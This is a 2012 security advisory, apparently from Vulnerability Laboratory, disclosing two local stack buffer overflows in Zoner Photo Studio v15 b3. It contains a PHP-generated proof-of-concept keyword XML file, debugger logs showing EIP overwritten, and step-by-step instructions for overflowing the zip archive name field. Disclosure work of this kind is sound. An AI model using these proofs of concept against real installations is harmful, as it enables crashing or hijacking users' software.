263 lines
No EOL
9.9 KiB
Text
263 lines
No EOL
9.9 KiB
Text
Title:
|
||
======
|
||
Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-11-13
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=759
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
759
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
4.5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfl<66>che. Die <20>bersichtliche Benutzeroberfl<66>che
|
||
von `Zoner PhotoStudio` und der gro<72>e Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu versch<63>nern und mit Freunden zu teilen.
|
||
Eines der Highlights der Software ist die M<>glichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos k<>nnen mit einer handels<6C>blichen
|
||
3D-Brille dreidimensional bestaunt werden. Weiter k<>nnen Sie Diashows anlegen, Ihre Bilder im Internet ver<65>ffentlichen oder Panorama-Fotos
|
||
erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift.
|
||
|
||
(Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner Photo Studio Software v15 (b3).
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-11-13: Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Zoner Software
|
||
Product: Zoner Photo Studio v15 Build 3
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Local
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3).
|
||
The bug allows local attackers to escalate out of the affected vulnerable software module with system process privileges.
|
||
The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe).
|
||
|
||
1.1
|
||
The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schl<68>sselwort)` module. The xml
|
||
importer does not parse the length (values) of the string (name & description) when processing to import (buffer).
|
||
The result is a local exploitable stack-based Buffer Overflow vulnerability.
|
||
|
||
Vulnerable Module(s):
|
||
[+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] Name
|
||
[+] Description
|
||
|
||
|
||
1.2
|
||
The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows an local user
|
||
to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load (buffer)
|
||
the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability.
|
||
|
||
Vulnerable Module(s):
|
||
[+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder]
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] Archivname
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and without required user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
PoC: [XML] ZPS14Keywords.xml | Setting(Einstellungen) > Keyword Import/Export
|
||
<?php
|
||
header('Content-Type: text/xml');
|
||
print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy>
|
||
<keyword category="yes" name="Security Researchers">
|
||
<keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" description="31337;" />
|
||
<keyword category="no" name="Benjamin Kunz Mejri" />
|
||
<keyword category="no" name="PenTest23" />
|
||
<keyword category="no" name="PenTest24" />
|
||
<keyword category="no" name="PenTest25" />
|
||
<keyword category="no" name="PenTest26" />
|
||
<keyword category="no" name="PenTest26" />
|
||
<keyword category="no" name="PenTest27" />
|
||
<keyword category="no" name="PenTest28" />
|
||
<keyword category="no" name="PenTest29" />
|
||
<keyword category="no" name="PenTest30" />
|
||
</keyword>
|
||
<keyword category="yes" name="News">
|
||
<keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" />
|
||
<keyword category="no" name="Chokri Ben Achour" />
|
||
<keyword category="no" name="PenTest32" />
|
||
<keyword category="no" name="PenTest33" />
|
||
<keyword category="no" name="PenTest34" />
|
||
<keyword category="no" name="PenTest35" />
|
||
<keyword category="no" name="PenTest36" />
|
||
<keyword category="no" name="PenTest37" />
|
||
<keyword category="no" name="PenTest38" />
|
||
<keyword category="no" name="PenTest39" />
|
||
<keyword category="no" name="PenTest40" />
|
||
</keyword>
|
||
<keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]">
|
||
<keyword category="yes" name="31337;" />
|
||
<keyword category="no" name="Ibrahim El-Sayed" />
|
||
<keyword category="no" name="PenTest41" />
|
||
<keyword category="no" name="PenTest42" />
|
||
<keyword category="no" name="PenTest43" />
|
||
<keyword category="no" name="PenTest44" />
|
||
<keyword category="no" name="PenTest45" />
|
||
<keyword category="no" name="PenTest46" />
|
||
<keyword category="no" name="PenTest47" />
|
||
<keyword category="no" name="PenTest48" />
|
||
<keyword category="no" name="PenTest49" />
|
||
</keyword>
|
||
</hierarchy>
|
||
</keywords>';
|
||
?>
|
||
|
||
--- Debug Logs ---
|
||
(3a98.1840): Access violation - code c0000005
|
||
eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000
|
||
eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0 nv up ei pl zr na pe nc
|
||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
|
||
ntdll!ZwRaiseException+0x12:
|
||
76fd15de 83c404 add esp,4
|
||
0:000> u
|
||
ntdll!ZwRaiseException+0x12:
|
||
76fd15de 83c404 add esp,4
|
||
76fd15e1 c20c00 ret 0Ch
|
||
ntdll!NtRaiseHardError:
|
||
76fd15e4 b830010000 mov eax,130h
|
||
76fd15e9 33c9 xor ecx,ecx
|
||
76fd15eb 8d542404 lea edx,[esp+4]
|
||
76fd15ef 64ff15c0000000 call dword ptr fs:[0C0h]
|
||
76fd15f6 83c404 add esp,4
|
||
76fd15f9 c21800 ret 18h
|
||
0:000> a
|
||
76fd15de !exchain
|
||
|
||
|
||
|
||
1.2
|
||
The buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and without required user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
Manually Exploitation/Reproduce: Publizieren > Per Mail versenden > Zip Comprimierung der Bilder > Archivname + FILE.[ZIP] (STRG+UMS+M)
|
||
|
||
1. Install & start the Zoner Photo Studio Software
|
||
2. Click in the main menu the Publizieren button and open the Per Mail versenden function - < STRG+UMS+M >
|
||
3. Activate the Zip Compressed Pictures function (Zip Comprimierung der Bilder)
|
||
4. Now, you see the standard value (Dateien.zip)
|
||
5. Delete one of both words but do not delete the `.` because it is required for a not invalid submission (via OK Button)
|
||
6. Include the following example strings Daten.[+Large String AAAAAA+] or [Large String AAAAAA+].zip and click OK!
|
||
7. *BAM! Result is a stack-based buffer overflow [overwrites the ebx & eip]
|
||
|
||
|
||
--- Exception Logs ---
|
||
EventType=BEX [Buffer Overflow]
|
||
EventTime=129972361437653387
|
||
ReportType=2
|
||
Consent=1
|
||
ReportIdentifier=cfbd2b2a-2d1f-11e2-be0d-8c500fdd2fd9
|
||
IntegratorReportIdentifier=cfbd2b29-2d1f-11e2-be0d-8c500fdd2fd9
|
||
WOW64=1
|
||
Response.type=4
|
||
Sig[0].Name=Anwendungsname
|
||
Sig[0].Value=Zps.exe
|
||
Sig[1].Name=Anwendungsversion
|
||
Sig[1].Value=14.0.1.7
|
||
Sig[2].Name=Anwendungszeitstempel
|
||
Sig[2].Value=4fffeaeb
|
||
Sig[3].Name=Fehlermodulname
|
||
Sig[3].Value=StackHash_24fa
|
||
Sig[4].Name=Fehlermodulversion
|
||
Sig[4].Value=0.0.0.0
|
||
Sig[5].Name=Fehlermodulzeitstempel
|
||
Sig[5].Value=00000000
|
||
Sig[6].Name=Ausnahmeoffset
|
||
Sig[6].Value=41414141 <=== EIP
|
||
Sig[7].Name=Ausnahmecode
|
||
Sig[7].Value=c0000005
|
||
Sig[8].Name=Ausnahmedaten
|
||
Sig[8].Value=00000008
|
||
|
||
--- Debug Logs ---
|
||
- Access violation - code c0000005
|
||
ebx=00410041
|
||
eip=41414141
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the local buffer overflow vulnerabilities are estimated as medium(+)|(-)high.
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2012 | Vulnerability Laboratory
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY
|
||
LABORATORY RESEARCH TEAM
|
||
CONTACT: research@vulnerability-lab.com |